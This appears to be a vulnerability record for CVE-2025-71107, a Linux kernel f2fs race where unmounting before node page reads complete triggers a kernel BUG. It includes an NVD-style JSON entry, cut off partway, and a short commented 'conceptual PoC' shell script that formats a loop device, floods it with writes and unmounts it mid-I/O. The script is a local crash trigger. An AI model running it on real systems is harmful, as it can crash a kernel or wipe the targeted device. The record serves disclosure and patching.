CVE-2025-71107

// This is a kernel-level race condition that can be triggered via xfstests // The following is a conceptual PoC based on xfstests generic/335 and generic/336 // Trigger conditions: // 1. Mount f2fs filesystem // 2. Perform concurrent read operations on node pages // 3. Rapidly execute umount while node page reads are pending // Example test script (requires root): /* #!/bin/bash mkfs.f2fs /dev/loop0 100M mkdir -p /mnt/f2fs mount -o loop /dev/loop0 /mnt/f2fs # Create concurrent I/O to trigger node page reads for i in {1..100}; do dd if=/dev/urandom of=/mnt/f2fs/file_$i bs=4K count=100 & done # Immediately unmount while I/O is pending sleep 0.01 umount /mnt/f2fs */ // Kernel fix (already applied in stable trees): // In fs/f2fs/super.c f2fs_put_super(): // + f2fs_wait_on_all_pages(F2FS_I_SB(sb), F2FS_RD_NODE); // This ensures all node page reads complete before superblock cleanup.

{"cve": {"id": "CVE-2025-71107", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-14T15:15:59.763", "lastModified": "2026-03-25T19:33:06.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: ensure node page reads complete before f2fs_put_super() finishes\n\nXfstests generic/335, generic/336 sometimes crash with the following message:\n\nF2FS-fs (dm-0): detect filesystem reference count leak during umount, type: 9, count: 1\n------------[ cut here ]------------\nkernel BUG at fs/f2fs/super.c:1939!\nOops: invalid opcode: 0000 [#1] SMP NOPTI\nCPU: 1 UID: 0 PID: 609351 Comm: umount Tainted: G W 6.17.0-rc5-xfstests-g9dd1835ecda5 #1 PREEMPT(none)\nTainted: [W]=WARN\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nRIP: 0010:f2fs_put_super+0x3b3/0x3c0\nCall Trace:\n <TASK>\n generic_shutdown_super+0x7e/0x190\n kill_block_super+0x1a/0x40\n kill_f2fs_super+0x9d/0x190\n deactivate_locked_super+0x30/0xb0\n cleanup_mnt+0xba/0x150\n task_work_run+0x5c/0xa0\n exit_to_user_mode_loop+0xb7/0xc0\n do_syscall_64+0x1ae/0x1c0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n </TASK>\n---[ end trace 0000000000000000 ]---\n\nIt appears that sometimes it is possible that f2fs_put_super() is called before\nall node page reads are completed.\nAdding a call to f2fs_wait_on_all_pages() for F2FS_RD_NODE fixes the problem."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nf2fs: asegurar que las lecturas de páginas de nodo se completen antes de que f2fs_put_super() termine\n\nXfstests generic/335, generic/336 a veces fallan con el siguiente mensaje:\n\nF2FS-fs (dm-0): detect filesystem reference count leak during umount, type: 9, count: 1\n------------[ cut here ]------------\nkernel BUG at fs/f2fs/super.c:1939!\nOops: invalid opcode: 0000 [#1] SMP NOPTI\nCPU: 1 UID: 0 PID: 609351 Comm: umount Tainted: G W 6.17.0-rc5-xfstests-g9dd1835ecda5 #1 PREEMPT(none)\nTainted: [W]=WARN\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nRIP: 0010:f2fs_put_super+0x3b3/0x3c0\nCall Trace:\n \n generic_shutdown_super+0x7e/0x190\n kill_block_super+0x1a/0x40\n kill_f2fs_super+0x9d/0x190\n deactivate_locked_super+0x30/0xb0\n cleanup_mnt+0xba/0x150\n task_work_run+0x5c/0xa0\n exit_to_user_mode_loop+0xb7/0xc0\n do_syscall_64+0x1ae/0x1c0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n \n---[ end trace 0000000000000000 ]---\n\nParece que a veces es posible que se llame a f2fs_put_super() antes de que se completen todas las lecturas de páginas de nodo.\nAñadir una llamada a f2fs_wait_on_all_pages() para F2FS_RD_NODE soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.16", "versionEndExcluding": "6.5", "matchCriteriaId": "A5099559-2D15-42A5-A561-71B34FEFF36F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.5.1", "versionEndExcluding": "6.6.120", "matchCriteriaId": "6560D9CA-2C05-4F68-A4C6-CA3266AB5602"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.64", "matchCriteriaId": "32BF4A52-377C-44ED-B5E6-7EA5D896E98B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.3", "matchCriteriaId": "2DC484D8-FB4F-4112-900F-AE333B6FE7A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:-:*:*:*:*:*:*", "matchCriteriaId": "A2D9420A-9BF4-4C16-B6DA-8A1D279F7384"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19 ... (truncated)